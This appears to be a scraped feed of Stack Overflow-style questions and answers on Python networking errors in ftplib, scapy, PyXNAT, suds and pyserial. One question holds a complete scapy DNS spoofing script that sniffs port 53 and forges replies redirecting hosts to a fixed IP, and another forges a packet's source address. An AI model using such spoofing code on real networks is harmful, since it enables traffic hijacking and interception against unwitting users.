While accessing the remote server through FTP I am getting following error. Not sure whats the problem of it so I can solve. Any lead will be helpful.
Code:
import ftplib
from ftplib import FTP
ftp = ftplib.FTP("server_name")
Error:
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
File "/usr/lib64/python2.6/ftplib.py", line 116, in __init__
self.connect(host)
File "/usr/lib64/python2.6/ftplib.py", line 131, in connect
self.sock = socket.create_connection((self.host, self.port), self.timeout)
File "/usr/lib64/python2.6/socket.py", line 553, in create_connection
for res in getaddrinfo(host, port, 0, SOCK_STREAM):
socket.gaierror: [Errno -2] Name or service not known
(I don't have enough reputation to just leave a comment for #LonelySoul, and anyone else.)
You'll encounter the Name or service not known exception if "server_name" includes the protocol. Simply removing ftp:// resolved the issue for me.
The error is telling you that it can't find the host named server_name. So, that's what you need to debug.
If you ping server_name in your terminal/DOS prompt, does it work, or give you an error like cannot resolve server_name? What if you ftp server_name in the terminal?
If everything works in the terminal, and you don't have a silly typo in your code, your next step is to debug why Python is getting it wrong. Write some code that tries to call getaddrinfo explicitly and see what happens. Try socket.connect on a normal IPv4 socket to see if it works. (If so, the problem is probably something to do with IPv6.) And so on.
More likely, it will fail in the terminal as well. In that case, either you've got the wrong name for the server, or you've got something wrong with your network or system setup; either way, it's not a programming problem, and StackOverflow won't be able to help you further.
Related
i need to debug a program i wrote in Eclipse with PyDev plugin. However I can not debug it because Eclipse obviously does not have the permission to do so.
I always get the following error when debugging reaches the send() function.
socket.error: [Errno 1] Operation not permitted
Running Eclipse with gksudo does not work either. It opens, but it says the editor could not be found.
Could not open the editor: No editor descriptor for id
org.python.pydev.editor.PythonEditor
How do I fix this?
I can't post the full code, it's too long. Here is a kind of breakdown, which causes the same error. Eclipse is not allowed the execute the send() function. Executing it with sudo in the command shell works.
from scapy.all import *
from scapy.layers.inet import IP, UDP
class SomeIP(Packet):
name = "SomeIP Packet"
fields_desc=[XShortField("X", 0x1000),
XShortField("Y", 0x1000)]
SIP = SomeIP()
packet = IP(src="129.168.101.164",dst="192.168.101.143")/UDP(sport=1000, dport=1000)/SIP
send(packet, verbose=False)
Here is the error I get - the first line can be ignored.
WARNING: No route found for IPv6 destination :: (no default route?)
Traceback (most recent call last):
File "scapy_test.py", line 19, in <module>
send(packet, verbose=False)
File "/usr/lib/python2.7/dist-packages/scapy/sendrecv.py", line 251, in send
__gen_send(conf.L3socket(*args, **kargs), x, inter=inter, loop=loop, count=count,verbose=verbose, realtime=realtime)
File "/usr/lib/python2.7/dist-packages/scapy/arch/linux.py", line 307, in __init__
self.ins = socket.socket(socket.AF_PACKET, socket.SOCK_RAW, socket.htons(type))
File "/usr/lib/python2.7/socket.py", line 187, in __init__
_sock = _realsocket(family, type, proto)
socket.error: [Errno 1] Operation not permitted
Could you use another port number? If I understand your code correctly you try to open a port on number 1000. Since port numbers up to 1024 can only be used by root, setting the port number to something higher than 1024 could maybe solve the problem.
I am trying to access XNAT server via PyXNAT. While doing so i get the following error which i think is an SSL error..
Central=Interface(server='http://hd-hni-xnat.cac.cornell.edu:8443/xnat')
User: sdb99
Password:
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
File "/Library/Python/2.7/site-packages/pyxnat/core/interfaces.py", line 228, in __init__
self._get_entry_point()
File "/Library/Python/2.7/site-packages/pyxnat/core/interfaces.py", line 268, in _get_entry_point
raise e
socket.error: [Errno 54] Connection reset by peer
Is there any work around to solve this problem ..?
Many Thanks in advance!!
Suyash
Can you try accessing the URL from the server where you're running XNAT using curl? Something simple like:
curl -u sdb99:passwd -sL -w "%{http_code}\\n" "http://hd-hni-xnat.cac.cornell.edu:8443/xnat/data/projects" -o /dev/null
This should tell you the exact error code or condition and make it easier to figure out what's going wrong where.
I'm getting the error:
Exception: imported schema (http://www.w3.org/2001/XMLSchema) at
(http://www.w3.org/2001/XMLSchema.x sd), failed
when passing a Doctor (constructed with ImportDoctor) to the suds Client constructor.
I'm working on two Windows machines, both of them got the same version of suds installed, but only one of them rises the error above.
Could someone guide me here to know why this error rises?, so I can figure out what's missing on the machine where it happens?.
Thanks in advance!!!.
UPDATE: I don't really know if this is important, but it's worth noting that my Windows machine that is rising the error is an Amazon Web Services instance. At my local machine everything's working well!.
UPDATE: Here's some code I ran at the python interpreter of the machine I mentioned. Here you can detail how the error is rising...
>>> from suds.client import Client
>>> from suds.xsd.doctor import ImportDoctor, Import
>>> missing_import = Import("http://www.w3.org/2001/XMLSchema")
>>> missing_import.filter.add("http://tempuri.org/")
>>> doctor = ImportDoctor(missing_import)
>>> client = Client("http://etcfulfill.ebooks.com/Fulfillment.asmx?wsdl")
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
File "suds\client.py", line 112, in __init__
self.wsdl = reader.open(url)
File "suds\reader.py", line 152, in open
d = self.fn(url, self.options)
File "suds\wsdl.py", line 159, in __init__
self.build_schema()
File "suds\wsdl.py", line 220, in build_schema
self.schema = container.load(self.options)
File "suds\xsd\schema.py", line 95, in load
child.dereference()
File "suds\xsd\schema.py", line 323, in dereference
midx, deps = x.dependencies()
File "suds\xsd\sxbasic.py", line 422, in dependencies
raise TypeNotFound(self.ref)
suds.TypeNotFound: Type not found: '(schema, http://www.w3.org/2001/XMLSchema, )'
>>> client = Client("http://etcfulfill.ebooks.com/Fulfillment.asmx?wsdl", doctor=doctor)
No handlers could be found for logger "suds.xsd.sxbasic"
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
File "suds\client.py", line 112, in __init__
self.wsdl = reader.open(url)
File "suds\reader.py", line 152, in open
d = self.fn(url, self.options)
File "suds\wsdl.py", line 159, in __init__
self.build_schema()
File "suds\wsdl.py", line 220, in build_schema
self.schema = container.load(self.options)
File "suds\xsd\schema.py", line 93, in load
child.open_imports(options)
File "suds\xsd\schema.py", line 305, in open_imports
imported = imp.open(options)
File "suds\xsd\sxbasic.py", line 542, in open
result = self.download(options)
File "suds\xsd\sxbasic.py", line 567, in download
raise Exception(msg)
Exception: imported schema (http://www.w3.org/2001/XMLSchema) at (http://www.w3.org/2001/XMLSchema.xsd), failed
UPDATE:
I realized that suds connections always open in TCP increasing ports, and if it reaches the maximum TCP port (65535) then it starts opening again from the minimum TCP port available, so there's no problem with this.
The problem shows up when using suds ImportDoctor, because it has to open a previous connection to the location where the import should be retrieved, and for some reason, if the system reaches the maximum TCP port count, then suds somehow assumes that there's no TCP port available to open the connection for obtaining the import, and in consecuence it throws the exception:
Exception: imported schema (http://www.w3.org/2001/XMLSchema) at (http://www.w3.org/2001/XMLSchema.xsd), failed
I repeat, this only happens if suds has to open this previous connection for obtaining the import. If ImportDoctor is not used, then suds has no problem if the TCP port count reaches its maximum, it just restarts at the minimum port available.
Does anyone has any clue on how to resolve this issue???. I'd really appreciate the help!!!.
I've figured out what the problem was. The schema that was missing from the WSDL I was trying to use with suds was:
http://www.w3.org/2001/XMLSchema
And the XSD file for this schema is at:
http://www.w3.org/2001/XMLSchema.xsd
So when I used suds ImportDoctor to add this schema import, sometimes the w3.org domain was denying my access (don't know why really) and that's why this error was rising:
Exception: imported schema (http://www.w3.org/2001/XMLSchema) at (http://www.w3.org/2001/XMLSchema.xsd), failed
What did I do to solve this problem?. I just downloaded this schema to my machine and used suds ImportDoctor to retrieve this import locally.
And that was it!!!. Confusing bug!!!. But SOLVED.
I'm using python 2.7 and scapy-2.2.0 in windows xp.
I'm trying dns spoofing and it works well in python. but when I make to .exe and execute it, I got this error
Traceback (most recent call last):
File "dns_spoof.py", line 17, in <module>
File "scapy\arch\windows\__init__.pyc", line 523, in sniff
File "dns_spoof.py", line 15, in dns_spoof
File "scapy\sendrecv.pyc", line 251, in send
File "scapy\sendrecv.pyc", line 237, in __gen_send
OSError: [Errno 9] Bad file descriptor
How can I fix it? Please help.
This is source code.
import logging
logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
try:
from scapy.all import *
except:
from scapy import *
def dns_spoof(pkt):
redirect_to = '172.16.22.91'
if pkt.haslayer(DNSQR): # DNS question record
spoofed_pkt = IP(dst=pkt[IP].src, src=pkt[IP].dst)/\
UDP(dport=pkt[UDP].sport, sport=pkt[UDP].dport)/\
DNS(id=pkt[DNS].id, qd=pkt[DNS].qd, aa = 1, qr=1, \
an=DNSRR(rrname=pkt[DNS].qd.qname, ttl=10, rdata=redirect_to))
send(spoofed_pkt)
print 'Sent:', spoofed_pkt.summary()
sniff(filter='udp port 53', iface='eth0', store=0, prn=dns_spoof)
I had the same error when I tried send(IP(dst="1.2.3.4")/ICMP()), and I found on github that my problem was that I was using IDLE instead of the Command Prompt/Powershell on windows.
This is the output in the Powershell:
>>> send(IP(dst="1.2.3.4")/ICMP())
.
Sent 1 packets.
Maybe this is not the problem OP had, but this is the first thread on Google so it might help someone.
It looks like a wrong file descriptor (handle) is being used. E.g. something open as stdout (pipe) is used as a socket.
If I understand correctly, same program works from source and fails when rolled into an exe. Am I right?
If you ran it on linux, you would use strace to figure out which.
Equivalent tools on windows are Process Monitor and Logger.exe.
I am having problems decoding this error message for the python on my Raspberry Pi. Please don't tell me to head to that SE, they sent me here as no one really knew what it means. It is from [GitHub][1]
Here is the error output:
Traceback (most recent call last):
File "/home/pi/piarduino/MissionControl-master/mcDesk.py", line 8, in <module> serialFromArduino = serial.Serial("/dev/serial/by-id/usb-FTDI_FTDI_FT232R_USB_UART_A900aepy-if800-port0", 115200)
File "/usr/lib/python2.7/dist-packages/serial/serialutil.py", line 260, in __init__
self.open()
File "/usr/lib/python2.7/dist-packages/serial/serialposix.py", line 276, in open
raise SerialException("could not open por %s: %s" % (self._port, msg))
SerialException: could not open port /dev/serial/by-id/usb-FTDI_FTDI_FT232R_USB_UART_A900aepy-if800-port0: [Errno 2] No such file or directory: '/dev/serial/by-id/usb-FTDI_FTDI_FT232R_USB_UART_A900aepy-if800-port0'
Basic troubleshooting:
Try running your script as root using sudo. It's possible you're being denied access to the serial port.
Run ls /dev/serial/by-id in a shell. Make sure the serial port you are trying to open exists and matches exactly with the port you're trying to open in your program.
If neither of those options work, try these steps.
If you care to update your question with more details, we may be able to help you further.